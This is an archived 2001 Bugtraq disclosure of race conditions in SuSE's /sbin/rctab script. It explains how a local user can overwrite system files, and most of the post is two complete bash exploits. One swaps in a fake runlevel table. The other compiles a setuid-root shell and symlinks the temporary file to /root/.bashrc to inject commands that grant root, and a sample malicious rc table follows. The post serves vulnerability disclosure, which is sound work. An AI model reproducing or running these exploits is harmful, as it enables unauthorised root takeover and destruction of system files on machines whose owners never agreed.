OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
From: Paul Starzetz (paulSTARZETZ.DE)
Date: Sat Jan 13 2001 - 12:15:51 CST

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

    Hi ll,

    it seems that the problem described below has not been discussed on
    Bugtraq.

    Problem description
    -------------------

    Due to a various race conditions in the init level editing script
    /sbin/rctab it is possible for any local user to overwrite any system's
    file with arbitrary data. This may result in denial of service attack,
    local or even remote root compromise, if root runs the /sbin/rctab
    script.

    Details
    -------

    The /sbin/rctab script doesn't check for links writing the temporary
    rctmp file to /tmp/rctmpdir.$PID dir. Also the directory created isn't
    chown'ed root. Because the PID of the rctab script can be guessed (or
    looked up, however), any local user can replace the temporary rctmp file
    with arbitrary content. This can be exploited in one of the following
    manners:

    a) local user replaces the rctmp with his own, resulting in
    enabling/disabling any valid service listed in /sbin/init.d directory.
    This may lead to a system running a vulnerable service after the
    runlevel has been switched, resulting in further remote root compromise.

    b) local user force the rctab script to write the content of rctmp file
    to any other system's file including /etc/passwd or /etc/shadow. This
    results in denial of service too.

    c) local user trick the rctab script to write the contents of rctmp file
    predecessed by some arbitrary data to some sensitive system file. In
    conjunction with any sort of shell script executed by the root user and
    the 'in here documents' it is possible to run any command inside the
    attacked shell script.

    d) ...and much more

    Vulnerable Systems
    ------------------

    At least SuSE 6.1-7.0, maybe other systems using rctab.

    Exploit
    -------

    Attached 2 exploits

    rcshell.sh: gives you r00tshell assuming that /root/.bashrc is present,
    root runs crontab -e and saves the changes after changing something in
    the runlevel table _and_ login again. (Yes, in some cases the script
    will fail ;-)

    changerc.sh: replaces system's inittable with an arbitrary one (assuming
    rctab -e is run too)

    IhaQueR.

    -----------------------------------------------------------------
    so now the scripts:

    [changerc.sh]

    #!/bin/bash
    # any user can force changes to runlevels
    # by IhaQueR

    declare -i PLOW
    declare -i PHIGH

    # CONFIG:

    PLOW=1
    PHIGH=3

    TMP="/tmp"
    FAKERC="/tmp/fakerc"
    RCTMPDIR="rctmpdir"
    RCTMP="rctmp"

    _pwd="$PWD"

    #
    echo "----------------------------------------------"
    echo "| |"
    echo "| rctab exploit |"
    echo "| by IhaQueR '2001 |"
    echo "| |"
    echo "----------------------------------------------"
    echo

    # crate dirs
    echo "[+] now creating directories"
    echo " this may take a while"
    echo

    declare -i cnt
    cnt=$PLOW
    umask 700

    while [ $cnt -lt $PHIGH ]
    do
            cnt=$(($cnt+1))
            if [ $(($cnt % 128)) -eq 0 ] ; then
                    printf "[%6d] " $cnt
            fi;
            if [ $(($cnt % 1024)) -eq 0 ] ; then
                    echo
            fi;
            mkdir -p "$TMP/$RCTMPDIR.$cnt"
    done

    echo
    echo
    echo " finished creating dirs"
    echo

    # wait for rctab -e
    declare -i rctabpid
    rctabpid=0
    echo "[+] waiting for root to run rctab"

    while [ 1 ]
    do
            rctabpid=`ps aux|grep "rctab -e"|grep root|head -n1|awk '{print $2}'`
            if test $rctabpid -gt 1 ; then
                    break
            fi
            sleep 1
    done

    # rcfile in
    rcfile="/tmp/rctmpdir.$rctabpid/$RCTMP"

    echo "[+] got rctab -e at pid $rctabpid"

    # test if we own the directory
    rcdir="/tmp/rctmpdir.$rctabpid"

    if test -O $rcdir ; then
            echo "[+] ok, we own the dir"
    else
            echo "[-] hm, we are not owner"
            exit 2
    fi

    # wait for root to finish editing
    sleep 4
    declare -i vipid
    vipid=`ps aux|grep rctmpdir|grep root|awk '{print $2}'`

    echo " root is editing now at $vipid, wait for $rcfile"

    pfile="/proc/$vipid"

    while test -d $pfile
    do
            echo -n >/dev/null
    done
    rm -rf $rcfile
    cp $FAKERC $rcfile

    echo "[+] gotcha!"
    echo " installed new rctab from $FAKERC"

    -----------------------------------------------------------------

    [rcshell.sh]

    #!/bin/bash
    # any user can force changes to runlevels
    # by IhaQueR

    declare -i PLOW
    declare -i PHIGH

    # CONFIG:

    PLOW=1
    PHIGH=3

    TMP="/tmp"
    FAKERC=/tmp/fakerc
    RCTMPDIR="rctmpdir"
    RCTMP="rctmp"
    WRITETO="/root/.bashrc"
    SUSH="/tmp/sush"

    # what we want to write to $WRITETO (oops...)
    declare -i idx
    idx=0
    rchead=""

    while test "$idx" -lt 128 ; do
            rchead="$rchead "
            idx=$(($idx+1))
    done

    rchead="$rchead chown root.root $SUSH; chmod 4777 $SUSH | cat >/dev/null
    <<_DUPA_"

    _pwd="$PWD"

    #
    echo "----------------------------------------------"
    echo "| |"
    echo "| local rctab root exploit |"
    echo "| you would need luck |"
    echo "| and an admin stupid enough |"
    echo "| by IhaQueR '2001 |"
    echo "| |"
    echo "----------------------------------------------"
    echo

    # test sys
    awkl=$(which awk)
    if test -x $awkl ; then
            echo "[+] awk found"
    else
            echo "[-] awk not found, edit this script :-)"
            exit 1
    fi

    if test -r /sbin/rctab ; then
            echo "[+] rctab found"
    else
            echo "[-] rctab not found, sorry"
            exit 1
    fi

    # make suid shell
    echo "[+] compiling suid shell"
    cat << _DUPA_ >/tmp/sush.c
    #include <stdio.h>
    main(int argc, char** argv) {setuid(0); setgid(0); execv("/bin/sh",
    argv); }
    _DUPA_

    # compile shell
    gcc /tmp/sush.c -o $SUSH

    # crate dirs
    echo "[+] now creating directories"
    echo " this may take a while"
    echo

    declare -i cnt
    cnt=$PLOW
    umask 000

    while [ $cnt -lt $PHIGH ]
    do
            cnt=$(($cnt+1))
            if [ $(($cnt % 128)) -eq 0 ] ; then
                    printf "[%6d] " $cnt
            fi;
            if [ $(($cnt % 1024)) -eq 0 ] ; then
                    echo
            fi;
            mkdir -p "$TMP/$RCTMPDIR.$cnt"
    done

    echo
    echo
    echo " finished creating dirs"
    echo

    # wait for rctab -e
    declare -i rctabpid
    rctabpid=0
    echo "[+] waiting for root to run rctab"

    while [ 1 ]
    do
            rctabpid=`ps aux|grep "rctab -e"|grep root|head -n1|awk '{print $2}'`
            if test $rctabpid -gt 1 ; then
                    break
            fi
            sleep 1
    done

    # rcfile in
    rcfile="/tmp/rctmpdir.$rctabpid/$RCTMP"

    # append our cmd
    echo >$rcfile "$rchead"

    echo "[+] got rctab -e at pid $rctabpid"

    # test if we own the directory
    rcdir="/tmp/rctmpdir.$rctabpid"

    if test -O $rcdir ; then
            echo "[+] ok, we own the dir"
    else
            echo "[-] hm, we are not owner"
            exit 2
    fi

    # wait for editor
    declare -i vipid
    vipid=0
    while [ $vipid -lt 1 ]
    do
            vipid=`ps aux|grep rctmpdir|grep root|awk '{print $2}'`
    done

    echo " root is editing now at pid $vipid, wait for writing $rcfile"
    sleep 1

    pfile="/proc/$vipid"

    # relink
    declare -i lcnt
    lcnt=$(wc -l $rcfile|awk '{print $1-2 }')
    tail -n$lcnt $rcfile >$rcfile.new
    rm -rf $rcfile
    ln -sf $WRITETO $rcfile

    if test -r "$WRITETO" ; then
            md=$(cat $WRITETO|md5sum)
    fi

    if test -r $WRITETO ; then
            ac=$(ls -l --full-time $WRITETO)
    else
            ac="none"
    fi

    # wait for root to write rctab or exit
    while test -d $pfile
    do
            if test -r "$WRITETO" ; then
                    oc="$(ls -l --full-time $WRITETO)"
                    if test "$ac" != "$oc" ; then
                            echo "[+] $WRITETO replaced"
                            break
                    fi
            fi
    done
    rm -rf $rcfile; ln -s $rcfile.new $rcfile

    if test "$md" = "$(cat $WRITETO|md5sum)" ; then
            echo "[-] bashrc not changed, sorry"
            exit 2
    else
            echo "[+] gotcha! wait for root to login"
    fi

    # now wait for root to login :-)
    while test -O $SUSH ; do
            sleep 1
    done

    echo "[+] suid shell at $SUSH"
    sleep 1
    $SUSH

    -----------------------------------------------------------------

    [sample fakerc]

    #
    # Generated by rctab: Fri Jan 12 21:02:40 CET 2001
    #
    # Special scripts
    #
    # halt -- only for runlevel 0
    # reboot -- only for runlevel 6
    # single -- only for single user mode
    #
    # Remaining services
    #
    # apache argus at autofs boot.setup cdb cipe cron dummy firewall gpm
    # halt.local inetd inn ipfwadm ircd kbd kerneld lpd masquerade named
    network
    # nfs nfsserver ntopd pcnfsd pings quota quotad random rinetd route
    routed
    # rpc rwhod scanlogd sendmail serial smb squid sshd syslog xdm xinetd
    xntpd
    # ypclient yppasswdd ypserv ypxfrd
    #
    Runlevel:1 Runlevel:2 Runlevel:3 Runlevel:4 Runlevel:5
    kerneld kerneld kerneld - -
    serial serial serial - -
    dummy dummy dummy - -
    syslog network network - -
    boot.setup firewall firewall - -
    gpm masquerade masquerade - -
    kbd route route - -
    random cipe cipe - -
    - rpc rpc - -
    - argus argus - -
    - nfs nfs - -
    - scanlogd scanlogd - -
    - syslog syslog - -
    - boot.setup boot.setup - -
    - routed routed - -
    - named named - -
    - quota quota - -
    - nfsserver nfsserver - -
    - pcnfsd pcnfsd - -
    - quotad quotad - -
    - yppasswdd yppasswdd - -
    - ypserv ypserv - -
    - ypxfrd ypxfrd - -
    - ypclient ypclient - -
    - autofs autofs - -
    - apache apache - -
    - at at - -
    - gpm inetd - -
    - inetd inn - -
    - inn ipfwadm - -
    - ipfwadm ircd - -
    - ircd kbd - -
    - kbd lpd - -
    - lpd ntopd - -
    - ntopd random - -
    - random rinetd - -
    - rinetd rwhod - -
    - rwhod sendmail - -
    - sendmail smb - -
    - smb squid - -
    - squid sshd - -
    - sshd xinetd - -
    - xinetd xntpd - -
    - xntpd cron - -
    - cron xdm - -
    - pings - - -
    - - - - -
    - - - - -
    - - - - -
    - - - - -
    - - - - -
    - - - - -